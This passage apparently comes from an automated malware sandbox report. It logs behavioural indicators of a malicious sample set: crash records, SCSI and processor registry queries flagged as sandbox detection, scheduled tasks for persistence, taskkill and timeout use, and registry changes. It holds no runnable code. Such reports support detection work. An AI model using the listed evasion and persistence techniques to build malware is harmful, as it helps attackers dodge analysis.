WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4168 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 4148 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 1056 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 4392 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 320 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 3284 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 1444 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 4124 3896 WerFault.exe P2vqneoMmPuKSSuMKvJadR9G.exe 4676 4076 WerFault.exe z7zPaDgBJ7lwrmR9SJVKMc89.exe 6860 4724 WerFault.exe customer3.exe 7312 6192 WerFault.exe G85T3lADg2FDtjlTdxK96amS.exe 5932 6192 WerFault.exe G85T3lADg2FDtjlTdxK96amS.exe 5276 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe 4380 6192 WerFault.exe G85T3lADg2FDtjlTdxK96amS.exe 7416 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe 3548 6192 WerFault.exe G85T3lADg2FDtjlTdxK96amS.exe 752 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe 4772 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe 5792 6192 WerFault.exe G85T3lADg2FDtjlTdxK96amS.exe 6188 6192 WerFault.exe G85T3lADg2FDtjlTdxK96amS.exe 7484 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe 7060 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe 7748 6236 WerFault.exe rundll32.exe 5448 7384 WerFault.exe fPIvBZD6Eb4QiQ879jMxxuD5.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
tapinstall.execmd.exercwiwvcSy8Smn3WlNY0g0FMgl9ox33q.exetapinstall.exeDrvInst.exefwwiwvcsrx17UjXQeKHoITCe6QYeDRQ.exeeXr7_LLJdWYTop1YzLm_QeHk.exercwiwvcsvchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 cmd.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI rcwiwvc Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Sy8Smn3WlNY0g0FMgl9ox33q.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004E cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A cmd.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI rcwiwvc Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI fwwiwvc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Mfg cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Mfg cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\UpperFilters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags cmd.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI srx17UjXQeKHoITCe6QYeDRQ.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName cmd.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI eXr7_LLJdWYTop1YzLm_QeHk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI rcwiwvc Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI srx17UjXQeKHoITCe6QYeDRQ.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI eXr7_LLJdWYTop1YzLm_QeHk.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 cmd.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RUNDLL32.EXEConhost.exerunvd.exeRUNDLL32.EXERUNDLL32.EXEsvchost.exexhFn_YEQDbvjk6HybAkOYpnw.exeaRyMzRcSheB9cpIH1opURDLk.exeEsplorarne.exe.comeHz_jO_hZ5wZjU5rSvHZNbvE.exeEsplorarne.exe.com733E.exetaskkill.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Conhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString runvd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz RUNDLL32.EXE Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 xhFn_YEQDbvjk6HybAkOYpnw.exe Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 aRyMzRcSheB9cpIH1opURDLk.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Esplorarne.exe.com Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 runvd.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 eHz_jO_hZ5wZjU5rSvHZNbvE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString eHz_jO_hZ5wZjU5rSvHZNbvE.exe Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Esplorarne.exe.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Esplorarne.exe.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 733E.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Esplorarne.exe.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskkill.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString xhFn_YEQDbvjk6HybAkOYpnw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz RUNDLL32.EXE -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 8528 schtasks.exe 2076 schtasks.exe 10100 schtasks.exe 9876 schtasks.exe 4664 schtasks.exe -
Delays execution with timeout.exe 9 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 4560 timeout.exe 8584 timeout.exe 8320 timeout.exe 9508 timeout.exe 6932 timeout.exe 4240 timeout.exe 5096 timeout.exe 4980 timeout.exe 920 timeout.exe -
Kills process with taskkill 13 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 2168 taskkill.exe 8136 taskkill.exe 3940 taskkill.exe 8556 taskkill.exe 6264 taskkill.exe 5916 taskkill.exe 4716 taskkill.exe 6320 taskkill.exe 5672 taskkill.exe 6020 taskkill.exe 6132 taskkill.exe 8468 taskkill.exe 9024 taskkill.exe -
Processes:
rundll32.exeMicrosoftEdge.exeEsplorarne.exe.comMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TypedURLs rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main Esplorarne.exe.com Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
cg0CX70OJ4Nu6QLl7l5BeyN5.exesvchost.exemask_svc.exemask_svc.exe32BTXeeFoygI8bxPrAuqvca2.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-392 = "Arab Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2412 = "Marquesas Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2572 = "Turks and Caicos Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates 32BTXeeFoygI8bxPrAuqvca2.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-42 = "E. South America Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-52 = "Greenland Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-751 = "Tonga Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-192 = "Mountain Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" cg0CX70OJ4Nu6QLl7l5BeyN5.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia 